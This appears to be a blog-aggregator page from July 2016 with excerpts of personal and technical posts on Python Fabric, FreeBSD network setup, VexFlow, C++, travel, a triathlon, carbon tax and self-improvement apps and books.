Why this list of books, Josh? Why not just write “the best career advice ever! #7 will amazing you!” and call it a day?

Because I don’t know things. I’ve stumbled into some things that seem to work, and along the way encountered many things that seem not to work.

I’m not able to evaluate my own experience and detangle my decisions from happenstance. So I choose to not play the game of offering advice, and instead point you to people who DO have useful things to say.

I promise, your time is well spent with these authors:

BOOKS

BLOGS

Python Fabric How to Show or List All Available Tasks

Ben E. C. Boyter — Thu, 21 Jul 2016 01:30:51 GMT

Showing or displaying the available tasks inside a fabric fabfile is one of those things that almost everyone wants to do at some point and usually works out you can just request a task you know will not exist (usually found through a typo). However there is a way to list them built into fabric itself.

The below are all methods which can be used to display the currently defined tasks.

Introducing SimpleObjectCache a simple cross-platform object cache for .NET systems

Nicola Iarocci — Wed, 20 Jul 2016 03:00:00 GMT

SimpleObjectCache is a very simple permanent, cross-platform, asynchronous key-value object cache for .NET. It comes with built-in SQLite 3 support. Alternative backends can be added by implementing the IObjectCache or IBulkObjectCache interfaces.

How it works

First, you need to set the ApplicatioName. This is also going to be the folder where your cache will reside. Depending on the host OS the location of this folder might be different. On Windows it would be something like C:\ProgramData\<ApplicationName>\SimpleObjectCache.

Set Ubuntu Linux Swapfile Using Python Fabric

Ben E. C. Boyter — Wed, 20 Jul 2016 01:53:52 GMT

Annoyingly most cloud providers have an irritating habit of not adding any swap memory to any instance you spin up. Probably because if they added swap to the instance the disk size would appear to be smaller then it is or if they had a dedicated swap partition they would have to bear the cost or again use some of your disk space.

Thankfully adding swap to your Ubuntu linux instance is fairly easy. The following task when run will check if a swapfile already exists on the host and if not create one, mount it and set it to be remounted when the instance is rebooted. It takes in a parameter which specifies the size of the swap in gigabytes.

Neubauten

Blogs on Michail Rybakov — Tue, 19 Jul 2016 17:07:46 GMT

Когда мне еще не было и двадцати, я постоянно искал музыку, новую, незнакомую музыку - не существующую в реальном мире. Друзья мои ходили на концерты и ездили на фестивали, а мне это было не интересно, слишком приземленно и обыденно. Я сидел в интернете на audioscrobbler.com, и слушал Coil, Amon Tobin, какого-то чувака с брагофоном, Karlheinz нашевсё Stockhausen, Venetian Snares и конечно Einstürzende Neubauten.

А тут, на окончание семестра, эти самые падующие новостройки сыграли в универе. Новый ректор пригласил по старой дружбе.

Вот этот парень с большим носом, весело лупящий топориком по кирпичам - FM Einheit. Ему пятьдесят семь.

Pokémon Go bookmarks

xenodium.com @alvaro — Tue, 19 Jul 2016 03:00:00 GMT

Python Fabric Set Host List at Runtime

Ben E. C. Boyter — Tue, 19 Jul 2016 01:40:13 GMT

With the advent of cloud computing where you spin up and tear down servers at will it becomes extremely useful to pick the hosts you want fabric to run on at runtime rather then through the usual env.hosts setting. This allows you to query your servers through your cloud providers API without having to maintain a list. This can be a more powerful and flexible technique then using roles and in a devops world can save you a lot of time.

Ten minute hacks: Hacking airplane headphones

The Technical Blog of James on purpleidea.com — Mon, 18 Jul 2016 19:41:47 GMT

I was stuck on a 14 hour flight last week, and to my disappointment, only one of the two headphone speakers were working. The plane’s media centre has an audio connector that looks like this:

Someone should consider probing this USB port.

The hole to the left is smaller than a 3.5mm headphone jack, and designed for a proprietary headphone connector that I didn’t have, and the two holes to the right are part of a different proprietary connector which match with the cheap airline headphones to provide the left and right audio channels.

Restricted Boltzmann Machines

Ben Bolte — Mon, 18 Jul 2016 03:00:00 GMT

Building on the Recurrent RBM for sequence modeling. This post relates to what I am doing for my Master's thesis.

Card wallet with a tail

june.kim — Mon, 18 Jul 2016 03:00:00 GMT

Numerical Analysis by Burden & Faires

june.kim — Mon, 18 Jul 2016 03:00:00 GMT

My experience with asm.js

zserge's blog — Mon, 18 Jul 2016 03:00:00 GMT

It all started with Glitch, a tiny algorithmic music composer. I spent lots of time deciding whether I should choose a native approach (e.g. C++, Qt, RtAudio) or an HTML5 way. After all I decided to give HTML5 a try - there is JavaScript which I still like, WebAudio that runs everywhere, UI that can be ported to desktop thanks to Electron, and I’ve heard browsers are really good at performance these days.

Debugging built into node

Pete's Points — Sun, 17 Jul 2016 19:38:01 GMT

Big news in node.js land! node.js v6.3.0 now ships with experimental support for built-in debugging via the chrome devtools. I've updated my JS Debugging article/talk with all the details you need to use this awesome new capability to give yourself debugging superpowers.

Mr. Robot: Season 2

🦉 olshansky 🦁 — Sun, 17 Jul 2016 17:28:48 GMT

Olshansky's review of Mr. Robot: Season 2

How much travel do I want?

D13V — Sun, 17 Jul 2016 03:00:00 GMT

I have been traveling for about 40-something days now, and I don’t feel the way I expected. I hadn’t traveled around the northwest USA nor much of Europe before so I expected that I’d want to spend every day exploring around, to see the local history and culture. On previous, short vacations, I had spent most of the time going from one attraction to another.

And I did explore for a while. I drove around between cities and national parks, I took a plane across the Atlantic and I then I took public transport and trains. I saw lakes in volcanic craters, hiked up in snow, and in sauna-worthy heat, and then in snow again. I drank beer from local breweries and had a dinner on a revolving restaurant. I had a close encounter with a black bear and saw Mormons getting wed. I saw how bike-friendly Amsterdam is and how cosmopolitan Berlin is. I saw that German trains work until they don’t. I saw people who are nice in your face and remain nice when the incentive is gone, and I saw people who change their skin as soon their business interest is done. And most people are of the kind type.

And yet, while I was gorging on exploration, in my mind, I gradually started feeling malnourished. Traveling was a feast, but the meals were all sweet. I had a cookie for appetizer, pie for a main meal and a tiramisu for dessert. All the exploration I’ve done was stimulating like sugar, but I was lacking the salt.

I needed to take some “salty” time. Time during which I process all the excitement from the sweet times in order to assimilate it and preserve it. Time to write down my thoughts, and time to reflect. Time to be creative. Time to learn, and time to code.

From the beginning of my travel, I started writing essays more actively. This scratched my creativity “itch” and provided a dash of salt to balance the sweet high of travel. Yet, it wasn’t enough. Three weeks in, I felt excitement for coding. Few days later, in Amsterdam, me and my wife made our own hackaton. We spent a day coding and playing. I learned about TensorFlow, coded up convolutional neural networks to recognize digits and learning more about recurrent neural networks and LSTMs. I hadn’t tasted computer science and math for a month and its saltiness was delicious, like a home cooked meal I hadn’t eaten for a while.

The hackaton brought creativity and learning and made my day. The day before, the Van Gogh museum brought exploration and learning which also made my day. I needed both of them to balance my information diet. When I was at work, I had a lot of coding and a little bit of creativity and exploration. Now, during travel, I get plenty of exploration, and more creativity at the expense of coding. Coding and writing make my day exciting.

I like the mental travel of writing and coding. Writing helps me develop and clarify my thoughts and coding means going to they gym for the mind. Removing them from my life temporary made me realize how I miss them and need them. In the search to maximize travel and exploration, which I appreciate, I also learned to appreciate creativity, thoughtfullness and problem solving.

Travel has been an experiment about my lifestyle diet. It proved that I need exploration, and reading, and writing, and coding, and relationships. Currently, I have more travel time and I can experiment with different proportions and see which combination I want the most. I’m excited to learn about my preferences, so I can organize my life to meet them, when I get back to working full time.

2016-07-17

ho.dges.online — Sun, 17 Jul 2016 03:00:00 GMT

Custom Markdown rendering

Thought Eddies — Sat, 16 Jul 2016 20:28:00 GMT

Custom Markdown rendering

What Are We

Venam's Blog — Patrick Louis (Lebanon) — Sat, 16 Jul 2016 20:00:00 GMT

We are born, we live, and we die. Yet, humans presumptuously want to ply meaning with their existence. What am I — Just a coincidence? What makes me special, am I distinguishable? We're not blind and won't be satisfied with the unlaborious mythological answers. Which are only enough for the simple minds. The essence is there, somewhere downstairs...

Do I need to learn Webpack when starting with React?

Gosha Spark — Sat, 16 Jul 2016 03:00:00 GMT

Computer Networking: A Top-Down Approach

june.kim — Fri, 15 Jul 2016 03:00:00 GMT

Procedural Shape Editor

TOGoS's Project Log — Thu, 14 Jul 2016 21:13:37 GMT

C++ Concepts: New keywords

Studiofreya SSG Site — Thu, 14 Jul 2016 12:22:37 GMT

The concepts extension introduces 5 new keywords. Only concept and requires are implemented, though the GCC documentation states there are 5 new keywords, only 2 are real keywords at the moment.

Trying to use the keywords as variable names or function names are not permitted. Any code which previously used any of the following keywords have to be changed before a concepts-enabled compiler will successfully compile and build.

Concepts Lite keywords

concept

Introduces a concept definition. Concepts are sets of syntactic and semantic requirements on types and their values.

Links - July 14th, 2016

Avy Faingezicht — Thu, 14 Jul 2016 03:00:00 GMT

As you can tell from the articles below, I've read a lot about consciousness lately. In general, I like the topic a lot, but I was actually trying to find an article on the subject from a couple of years ago that I remember being really good. Sadly, I didn't find it, but it did take me down the rabbit hole of the Internet, and I found all of the consciousness related posts below, so hopefully you will enjoy those.

Null Object Tech Meetup Vol 3

Muffin Man — Wed, 13 Jul 2016 03:00:00 GMT

Another tech meetup is behind us, even more people came this time. As promised, we will keep them coming more often.

Miloš spoke first about learning in tech, and keeping up with it. My talk was about SPAs, and how hard they can be.

We hope that meetups like this will help to build and strengthen the community in Belgrade, and Serbia in general. At this point that is not something we can brag about. We are planning charity hackatons as well and I'll keep you posted about them.

Grab the slides:

New in VexFlow: ES6, Visual Regression Tests, and more!

0xFE - 11111110b - 0376 — Tue, 12 Jul 2016 17:23:04 GMT

Lots of developments since the last time I posted about VexFlow.

VexFlow is ES6

Thanks to the heroics of SilverWolf90 and AaronMars, and the help from many others, VexFlow's entire src/ tree has been migrated to ES6. This is a huge benefit to the project and to the health of the codebase. Some of the wins are:

Real modules, which allows us to extract explicit dependency information and generate graphs like this.
Const-correctness and predictable variable scoping with const and let.
Classes, lambda functions, and lots of other structural enhancements that vastly improve the clarity and conciseness of the codebase.

Part of the migration effort also involved making everything lint-clean, improving the overall style and consistency of the codebase -- see SilverWolf90's brief document on how here.

Visual Regression Tests

VexFlow now has a visual regression test system, and all image-generating QUnit tests are automatically included.

The goal of this system is to detect differences in the rendered output without having to rely on human eyeballs, especially given the huge number of tests that exist today. It does this by calculating a perceptual hash (PHASH) of each test image and comparing it with the hash of a good known blessed image. The larger the arithmetic distance between the hashes, the more different are the two images.

The system also generates a diff image, which is an overlay of the two images, with the differences highlighted, to ease debugging. Here's an example of a failing test:

These tests are run automatically for all PRs, commits, and releases. Props to Taehoon Moon for migrating the regression tests from NodeJS to SlimerJS, giving us headless support and Travis CI integration. To find out more, read the Wiki page on Visual Regression Tests.

Native SVG

Thanks to the awesome contribution of Gregory Ristow, VexFlow now has a native SVG rendering backend, and the RaphaelJS backend has been deprecated. This not only reduces the overall size and bloat, but also hugely improves rendering performance.

The new backend is called Rendering.Backends.SVG with the code at Vex.Flow.SVGContext. Here is a quick example of how to use the new backend: https://jsfiddle.net/nL0cn3vL/2/.

Improved Microtonal Support

VexFlow now has better support for Arabic, Turkish, and other microtonal music via accidentals and key signatures. Thanks to infojunkie for a lot of the heavy lifting here, and to all the contributors in the GitHub issue.

Microtonal support is by no means complete, but this is a noteworthy step forward in the space.

Other Stuff

Lots of other stuff worth mentioning:

Support for user interactivity in SVG notation. You can attach event-handlers to elements (or groups of elements) and dynamically modify various properties of the score.
Improved bounding-box support.
Alignment of clef, timesignature, and other stave modifiers during mid-measure changes.
Lots of improvements to the build system and Travis CI integration.
Lots of bug fixes related to beaming, tuplets, annotations, etc.

Many thanks to all the contributors involved!

Zero Downtime Rebrand

Untrod — Tue, 12 Jul 2016 10:00:00 GMT

Noah Smith and I gave this presentation at the San Francisco Django meetup in March of 2016, shortly after we rebranded ePantry to Grove Collaborative. Here's how we pulled it off.

Welcome folks!

That's us

We rebranded on March 8, 2016. Grove is an aspiration brand that speaks to our …

How to be a genius: Van Gogh was a profilic hacker

D13V — Tue, 12 Jul 2016 03:00:00 GMT

While visiting Amsterdam I explored the Van Gogh Museum. Seeing his paintings and listening to the audio guide, I learned about his effort to become a better painter and about his personal story.

What amazed me the most was how he made himself a “genius” through hard, dedicated work.

(if I got any of the things below factually wrong, please let me know!)

Vincent Van Gogh was prolific. He “shipped” a lot of paintings, and did a lot of exercises to improve his technique. His time went into painting. Subsidized by his brother Theo, Vincent Van Gogh didn’t have a day job and could fully focus on creating art.

He improved his craft beyond his personal limits and beyond the contemporary limits. He practices to paint mundane things like a forearm, in order to get the details right. He practices different types of strokes - short, long, dots, curved, straight. He tries out different color combinations. The strength of his technique allowed him to do novel things - wet-on-wet painting, and using sparse heavy brush strokes.

While he cared about the “craft”, he cared even more about the actual result and product of the painting. Van Gogh really cared about the target of his painting. He was fond of the rural life and people and really cared about portraying them and their life in his canvas. He wanted to portray things in their essence. His paintings send emotions to me, and I know nothing about painting technique. And generally don’t care. People don’t care about how hard it was for the painter to make the painting, the care about how it makes them feel.

Van Gogh was resourceful! When he didn’t have subjects available, he painted self portraits, instead of despairing or procrastinating. I don’t really know history of Art, but I wouldn’t be surprised, if Van Gogh was the person who took the highest number of selfies up until his time.

He started painting in his late twenties and there has been only a decade from his beginning to paint, to reaching world class level. His prolificness, mastery of the craft, resourcefulness and caring about the product made him reach such a high level so quickly.

Van Gogh was great despite his mental illness. He didn’t get “lucky” to become more creative from his illness. He got unluckly to lose his wits when he was doing state of the art work. After the begining of his illness, he was using his art to fight insanity. He put a lot of deliberate effort into becoming a great painter, and just when he was innovative, an unknown mental illness brought him down, as he painted on average a masterpiece per day.

To me, his fight with insanity is his biggest masterpiece.

How Cassandra's inner workings relate to performance

Home on The Log Book of Manuel Kießling — Mon, 11 Jul 2016 18:13:00 GMT

This is a cross post from the GALERIA Kaufhof Technology Blog. About At Galeria.de, we learned the hard way that it's critical to understand the inner workings of the distributed masterless database Cassandra if one wants to experience good performance during reads and writes. This post describes some of the details of how Cassandra works under the hood, and shows how understanding these details helps to anticipate which use patterns work well and which don't.

The Last Two Weeks

Avy Faingezicht — Mon, 11 Jul 2016 03:00:00 GMT

Summer in San Francisco is great. On most days, the city gets cold and foggy, so it is better to stay inside. Luckily, an hour or two away there are endless warm options to get away to. I definitely took advantage of it these past weeks.

The State of Android in 2016 & The OnePlus 3 Phone

smcleod.net — Mon, 11 Jul 2016 03:00:00 GMT

I wanted to try Android for a couple of weeks, I like staying on top of technology, gadgets and making sure I never become a blind ‘zealot’ for any platform or brand.

The OnePlus 3

I did a lot of research and decided to try the “Oneplus 3” as it was good bang-for-buck, ran the latest software had plenty of grunt with the latest 8 core, high clock speed Qualcomm processor coupled with 6GB of DDR4 - the specs really are very impressive, especially for a $400USD phone.

Much Wenlock Triathlon 2016

Caius Theory — Sun, 10 Jul 2016 19:00:00 GMT

500m Pool Swim: 00:11:34

Felt good setting off, within a couple of lengths felt like I had no energy. Didn’t have enough to eat/drink during the morning before starting, really makes a huge difference once you set off. Must remember to replace my goggles at some point too, the strap comes loose without warning.

Transition 1: 00:03:06

Rough time for transition. Legs felt good as soon as I was out the pool. Got my kit on without too much trouble, although taking a t-shirt style cycling top instead of a full zip jacket was a mistake—forgot I’d be putting it on wet. Had a gel in transition in the hope it would give me some energy.

19km Cycle: 00:48:03

Lovely start to the cycle route, massive downhill on recently resurfaced roads for the most part. Best part of the cycle ride, with the rest of the route consisting of climbing back up to the start. Couple of nasty steep hills I had to walk sections of, for all I fitted lower gears they still weren’t low enough given my lack of bike fitness currently.

Transition 2: 00:06:57

Bike racked easily, shoes swapped, gel necked and a couple of Lucozade bottles clutched and off to run. Took on another gel.

7km Run: 01:04:37

Needed all the fluid I carried, didn’t take anything else during the run and felt no less energetic than the other disciplines. Legs didn’t really hurt, just felt like lead and had no power. Route was basically a mini trail run then up a tarmac road to the turning point then head back via trail run to finish. Adopted a walk/run approach.

Total: 02:14:17

Certainly the hardest triathlon I’ve done, and I’m probably at my least fittest compared to any of the others I’ve done to boot. The location was lovely, the weather was pretty decent (sunny but not too hot). Don’t feel like I was beaten by it, but definitely haven’t given it my best. One to redo next year and train towards.

Landmannalaugar

Hrafn Thorvaldsson — Sun, 10 Jul 2016 03:00:00 GMT

Link to album It had been a bucketlist item for some time to hike a well known route here in Iceland called Laugavegur. And so soon after coming back home from Canada, a friend offered up the possibility for finally checking it off the list. Its a easy walk, usually done in 2-3 days (a ultra marathon is held every year where the record is just over 4 hours!), and takes you through some fairly varied range of landscapes (on a Icelandic scale at least).

Making custom renderers for React

Gosha Spark — Sun, 10 Jul 2016 03:00:00 GMT

Heroku CLI Plugins and You

The David Brownman Blog — Fri, 08 Jul 2016 03:00:00 GMT

undefined

Read the whole thing.

C++ std::sort predicate with templates

Studiofreya SSG Site — Thu, 07 Jul 2016 17:35:39 GMT

There are a couple of sorting algorithms in C++ from std::sort to lamdbas, each tailored to different use cases. As a programmer, you may or may not want to delve into the depths of sort algorithms. That’s a domain left for experts. Luckily, it’s quite easy to get started with sorting data.

Contents

Sorting methods in C++

With C++, there is a standardized sort method readily available. It’s called std::sort and works by calling it with a range it should sort, usually a begin-iterator and an end-iterator. Normal use cases are sorting a vector or an array, but any container which implements the RandomAccess-iterator can be sorted. Containers like std::list can’t be sorted with std::sort. std::sort is available in the <algorithm> header.

How Can You Buy Happiness?

Josh Thompson — Thu, 07 Jul 2016 03:00:00 GMT

You can’t, but that won’t stop you and me from trying, at least a little.

We (Humans, americans, at least “other people like me”) like to buy things. But we should do more than just buy things.

Experiences can have a much bigger impact on people’s happiness than things, and a big part of that happiness lies in looking forward to the experience that you are going to have.

This article is long, but it is worth a read.

If you have $100 to spend on something, schedule something you will look forward to for a week or a month. Looking forward to something is as important as enjoying the thing itself.

If you want to have 4x the fun, invite someone along.

Write Less Say More

Josh Thompson — Wed, 06 Jul 2016 03:00:00 GMT

I recently read a short piece about using software to improve your own writing. To paraphrase one of the suggestions: “do away with weasel words, the passive voice, adverbs, cliches.”

I’m adding “complex sentences” to the list.

Out of curiosity, I looked through things that I’ve written. I am not pleased.

I am wordy. I create complex sentences, then interrupt myself in the middle.

(The last sentence started out as “I tend to be verbose and wordy, with many complex sentences filled with interruptions.” Anyone who can write “verbose and wordy” without immediately cringing ought to be kept far from a keyboard.)

I face a new challenge: write less, say more.

There are two approaches I can take to be successful:

Edit as I go. Never finish a sentence without hitting the backspace key at least a dozen times. (I need a keystroke counter to see how often I type either CTRL Z or Backspace. It is constant.)
Write unencumbered by an attempt to write well . Once finished, go back and edit.

Option two is superior.

I have taken the first approach so far in this little piece. Now that I am paying attention to my propensity to write long, complex sentences, I am constantly trying to re-write the sentence before I’ve even figured out what I’m trying to say.

It would be better to just get the idea down on paper, and go back and fix it after the fact, than constantly interrupt the flow of the idea coming out of my head.

Initial thoughts on carbon tax

D13V — Wed, 06 Jul 2016 03:00:00 GMT

Prompted by thinking about hidden environment costs I had the intuition that a carbon tax could fix it. The premise was that, if we make carbon-producing activities more expensive, the market will regulate these down, giving a fair chance to “greener” options to replace them.

Then I started reading about what carbon tax is and I am no longer so sure. I haven’t turned against it, but I’m realizing that the issue is a lot more complicated than I thought. Intuitively, I still feel that carbon tax is beneficial, but have less conviction as I’m realizing that the devil is in the details.

In this post, I’ll try to lay down my intuitions and assumptions and cross-reference them with public information I found.

How did I imagine carbon tax? Well, when an activity creates hidden environment cost part of which can be measured in carbon emissions, the activity is taxed at a certain rate per amount of emissions. The tax revenue can then fund carbon-cleaning activities such as planting forests, which can reduce the carbon in the atmosphere to remove the excess.

Such strategy depends on the following assumptions:

We can accurately measure the carbon impact of an activity.

This is arguably possible for certain activities, and in other cases there could be an upper bound, which might be reasonable. I am not worried much about this assumption, as even if we underestimate the emissions, having at least some carbon tax will help to a degree. I’d assume that the cost of carbon emissions increases as the overall emissions increase so removing 50% of the carbon might reduce the burden by 80+%
The government will direct the tax revenue towards carbon cleaning.

I think this is extremely risky assumptions and I do not think that the government would want to do it. Any government might say “Hey, these money that you paid me for dumping carbon - I have a better use of them, to build hospitals and schools, for example.” The government might be right about it, but letting them slide will open the door to them cheating in the future. Governments change every once in a while, and a benevolent government might give way to another which doesn’t care about the environment.
We can accurately measure carbon cleaning activities.

I am not certain if that’s the case but I’m willing to give it the benefit of the doubt. Currently, there are markets for carbon offsets, with third party evaluations. Even if the carbon offsets are not perfectly measured now, the measurement can improve in the future as awareness grows.
Removing carbon for place A will be effective in cleaning the mess created at place B.

The supporting argument for this assumption is that CO2 goes up in the atmosphere, where it can commingle with other carbon. I feel that this assumption might be partially true, and that even it isn’t exactly true, the whole premise of removing carbon makes sense. Eventually as carbon gets depleted, the carbon offset market will address place B.

Looking at the assumptions above - I think that dedicating resources to cleaning up carbon emissions is a viable strategy to removing the carbon damage to the environment - I’m just not convinced that a carbon tax would be effective way to implement it. The main reason is that I believe that governments would redirect the money.

If we assume that the government is looking after the public good, and might find ways to spend the carbon-tax income on other social needs, shoudn’t we be OK with that? I’m not sure. Social good is great as a single objective to aim for, but in the case of multiple dependent commodities such as social good and environment damage, the relative conversion rates between the two might differ through time. As environment damage increases, so does its marginal cost. This kind of optimization will converge to a situation with a lot of environment damage, balanced by a productive society.

But the natural environment is the base on top of which humanity has built its civilization. I believe there will be a lot of secondary negative effects on humanity’s wealth from high environment damage. I also think that environment damage will undermine the meaning of wealth and devalue it.

My preference would be to close the loop from carbon emissions to carbon offsets as quickly as possible. I would not endorse spending carbon tax money on non-carbon social needs. I just don’t think this works in the long term. Going through government to create carbon tax might work but creates a longer solution cycle, requiring the money to go through the government, where they are at risk of being redirected.

What are the alternatives? One is that the government might require certain heavy carbon creators to become carbon neutral, by them buying carbon offsets. This will raise their price and hurt wealth a bit in the short term, but might actually decrease emissions. The government can serve as the watchdog, and has fewer chances to redirect the money. In the long term this will also stimulate the carbon offset market, making it cheaper to offset carbon. The hard part about such approach is that it may have a lot of logistic difficulties and it might undermine the government.

Another alternative is for consumers to start choosing carbon neutral products. This will also stimulate the carbon offset market and might cause producers to find ways to eliminate emissions rather than offsetting them. This focuses the effort on a small percent of the population, and will unlikely be effective, other than raise awareness of the issue. Still, this might be a good first step, in order to get people prepared about the extra cost of offsetting the carbon emissions.

Yet another alternative is for the government to encourage frugality. This will reduce environment impact immediately through reduction of consumption, and it will open up resources for supporting the extra cost of carbon offsets.

If we remember the “reduce, reuse, recycle”, then “carbon tax” is “recycle” while frugality is “reduce”.

Insanity with Elixir + Phoenix + PostgreSQL

Brightball Articles — Wed, 06 Jul 2016 03:00:00 GMT

I'm at the borderline of obsessed with Elixir and Phoenix lately. I've avoided writing about it so far because it feels a bit too good to be true. In an effort to test my own enthusiam, I decided to rebuild this site with them in the most ridiculous way possible just to try to test some limits. Because I already have an unhealthy obsession with PostgreSQL, we're getting crazy with it too. DISCLAIMER: This is not a "how to build a blog" article. If you do what I'm about to do, people will look at you funny (and probably should).

Setup DHCP interface in FreeBSD

Caius Theory — Tue, 05 Jul 2016 13:00:00 GMT

Given a FreeBSD instance without a configured network interface that you’d like to configure, first check what the name of the interface you want to configure is with ifconfig. (Mine is em0 in this instance.)

Then we need to add the configuration telling services that we want to use DHCP for this interface, and setting up our default router (use your IP, not mine!) too:

cat >> rc.conf <<CONF
ifconfig_em0="DHCP"
default_router="192.168.1.1"
CONF

And then we need to start dhclient on the given interface:

service dhclient start em0

Hey presto, you should see dhclient finding a DHCP server and being handed an IP address for em0.

Five Lessons Learned in Buenos Aires

Josh Thompson — Tue, 05 Jul 2016 03:00:00 GMT

Note: This is an unedited draft of a post from July 5, 2015. Almost exactly one year ago, written after a week in Buenos Aires. Since writing this post, Kristi and I have continued on to more than a year of non-stop travel, though we’re settling down back in Golden, CO in about two months.

Kristi and I arrived here in Buenos Aires less than a week ago. We’ve quickly found a routine in some ways, and in others, are still very out of our routine.

No matter where you go, you are still you. If you want to escape from all your insecurities, disappointments, and challenges, you have to figure out how to not take yourself along.

Being outside of your comfort zone grows you. If you want to escape from all your insecurities, disappointments, and challenges, doing hard things may help turn you into someone who is less insecure, less disappointed, and not as challenged by things that were once challenging.

In many ways we feel like children here. We struggle to communicate, don’t recognize much, and don’t know where things are. In an absolute sense, our accomplishments are small (I.E. we’ve managed to feed ourselves) and our need is large (We’re staying in a grandparent’s empty apartment, many people here in Buenos Aires have gone out of their way to help us in small and large ways).

Perspective matters . The first time I walked back from the coworking space to our apartment without wondering if I took a wrong turn, I felt a sense of accomplishment. It’s been so long since I’ve felt a sense of accomplishment for such a mundane thing. I am rediscovering the joys succeeding in very boring ways every day. (Exchanged pleasantries and asked questions to a fruit vendor? WIN! Found lunch, paid for it? WIN!)

Doing hard stuff with a friend is better than doing it alone. Kristi is my best friend. Lots of people travel to other countries by themselves. It’s 1000% better doing it with your best friend. (And being married to your best friend? Whoa.) I spent a semester abroad in college, and often felt quite discouraged. I’ve not felt discouraged at all here, and it’s because of Kristi.

For example, after butchering my way through a conversation with a taxi driver in terrible, broken Spanish, I was frustrated at how bad I was at it. I was thinking of all the reasons I should be better at Spanish. I was thinking of all the people I know who are fluent in both English and Spanish, and how dumb I am compared to them.

Kristi just said “Good job. You did great.”

And I was at peace again.

An unstable currency is a disaster. The Argentinian Peso is inflating very, very quickly. There are government controls on bringing money into the country. The official exchange rate is about 25% less than the real exchange rate. This causes great harm to everyone on the peso (except, I suppose, the government who doesn’t have to pay debts yet). Everyone inside and outside of Argentina knows the economy is a disaster. But they got there via one small public policy at a time.

Three Android Apps I Use Every Day (and maybe you'll use them too)

Josh Thompson — Mon, 04 Jul 2016 03:00:00 GMT

I’m not here to talk about Twitter and Instagram, which… I use too much. Lets talk about things that make my life better, and might do the same for you.

(If you’re an iPhone user, just Google for the iOS version of the following tools. They’re all out there)

Rewire App: “Recurring behavior” tracking

I wrote “Habit tracking” originally, but I don’t like that phrasing. I’m all for good habits, or eliminating bad ones, but I don’t think you should try to form a new habit until you’ve figured out how to make it really, really easy.

So, I use Rewire to simply track the status of things I’d like to pay attention too.

I’m not trying to make new habits. I just want to see how often I do something on its own.

When I do the thing I want to do, I mark that day’s habit as “complete”. If I don’t, I don’t mark it as “failed”, I just mark it as “skipped”.

This is a tiny way I can be gentle to myself.

Journey App: Daily gratitude

edit: as of December 2017, I don’t use Journey anymore. Sometimes I use a physical notebook, sometimes I use keep, sometimes I don’t do any specific thinking around daily gratitude. I wish I did, but I don’t.

I write a little bit every day. Three things every day, and never with the intention of publishing them.

Between The Slight Edge and The Miracle Morning_ and many other books, and endless articles, I’ve finally been convinced about the benefit of finding a few things every day to be thankful for. Three things, specifically.

For a long time I used Google Keep to track all my items, but it became laggy once I had a few hundred lines of text in it. So, I hunted around, and found Journey.

Journey is an Android (and windows) app + Chrome extension for “daily journaling”. I just open it up (usually on my phone, as I go to sleep, other times on the Chrome extension) and I jot down three things I’m thankful for.

The only rules are:

Always three things
No repeats

I enjoy having to be a little creative to make sure I don’t repeat things, and it’s really encouraging to scroll down through hundreds of little tiny (and sometimes big) things I was (and am) thankful for.

Phone Usage: Don’t waste your life

Apparently, no one has heard of this app. Lifehacker, CNET, Gizmodo, and others all have pretty terrible recommendations for apps that tell you how much you use your phone. I’d know - I tried what they recommended, was frustrated, and then finally found PhoneUsage.

PhoneUsage does exactly what you’d expect:

Tells you how much total time you spend with your phone “on”. (I use quotes because talking on the phone counts, even though the screen is off.)
Tells you how many times you turned your screen on (total #sessions, and also the number of “quick checks”. I don’t know how it qualifies one from the other.)
How much you use each app
Lots more.

I love it. I look at it at least once a day, sometimes more. I think it helps me subtly move towards less frivolous time spent on my phone.

Resources used while writing this post:

I didn’t say the resources list is ever related to the content of the post. ¯\_(ツ)_/¯

PS: To write the ¯\_(ツ)_/¯ figure in Markdown, you actually need to write:

¯\\\_(ツ)\_/¯

The Millionaire Next Door

Josh Thompson — Mon, 04 Jul 2016 03:00:00 GMT

I’m struggling to know what to write about The Millionaire Next Door.

It’s got many wonderful traits, and I strongly recommend that you read it (I wouldn’t mention it otherwise) but it’s got some flaws. I’m afraid if I focus on the flaws, I’ll turn people off from it that might otherwise read it, but if I don’t, I’ll do readers a disservice.

So, here we go:

Read

The Millionaire Next Door because:

Most of us have an incorrect perception of what it looks like to be a millionaire, and that colors our thinking about wealth. (Hint: the “average” millionaire looks pretty unremarkable.)
The book will hopefully inspire some self-evaluation in new ways. (It did for me)
You might finish the book with a new appreciation for financial independence, rather than making a certain amount of money. (Hint: financial independence requires a lot of money, but not nearly as much as most people might think.)
It’s an engaging read

If you read it, be careful because:

Survivorship bias is all over this book. They interview millionaires, and then look for common threads. There may be a large group of people out there who did most of the same things and are not millionaires. This group will never be counted.
The book seems a bit too trusting in some ways. Easy example is it’s way easier to be a millionaire today than it was in 2000, because the value of the dollar has sunk considerably. So the bar is getting lower and lower, and understates the significance of the achievements of a self-made millionaire in the 1980s.

Here’s the link again: The Millionaire Next Door: The Surprising Secrets of America’s Wealthy

Avoid a car accident with a $3 tool

Josh Thompson — Mon, 04 Jul 2016 03:00:00 GMT

TL;DR: Buy a blind spot mirror for your car. They are $2, and can keep you from getting in an accident. Not a lot of people have them, though they’re awesome.

I spend an inordinate amount of time thinking about how to make driving safer.

Step 1 to making driving safer is “don’t drive”. (See also “increasing safety while wrestling with alligators” and “increasing safety with home-made parachutes”).

Assuming you’ll drive, the next advice is “don’t be human”. The most common cause of car accidents is human error.

Since Tesla has not taken over the world yet, we’ll still be in charge of our own vehicles for at least a little while longer.

A significant sub-set of human-error accidents is “Unsafe Lane Changes”. Of these accidents, many are related to not using a turn signal. (I couldn’t find a free version of the study, but everyone and their mother has cited this SAE report.)

So, it’s estimated that failure to use turn signals contributes to about 2 million roadway collisions every year.

The most obvious place where a turn signal can cause a problem is changing lanes on a highway, where a car might be in your blind spot. Even if you use your turn signal, the other driver might not see you there, or, worse, you and the other driver might try to change into the same lane, from opposite sides.

Blind spot mirrors are an embarrassingly cheap partial solution.

I’ve used these $2.11 blind spot mirrors for years.

These rimless mirrors look even nicer, but cost MORE THAN TWICE AS MUCH at $7.16.

Order one or the other. The price is insignificant, peace of mind and not getting in an expensive and/or dangerous and/or time-consuming car accident is worth it.

BTW, I don’t do affiliate links. I just thought of this as I drove from Denver to Seattle, and started trying to find cars with blind spot mirrors. There are not as many out there as there should be.

Resources:

Links - July 4th, 2016

Avy Faingezicht — Mon, 04 Jul 2016 03:00:00 GMT

I haven't read much lately. I checked my stats today (yes, I keep track of how many articles I read) and my rolling one week daily average is about to hit 1 article read per day. That is scary, because I don't know what is consuming my time in place of my usual online reading. It might be Twitter, and the bots, but that doesn't add up in my head.

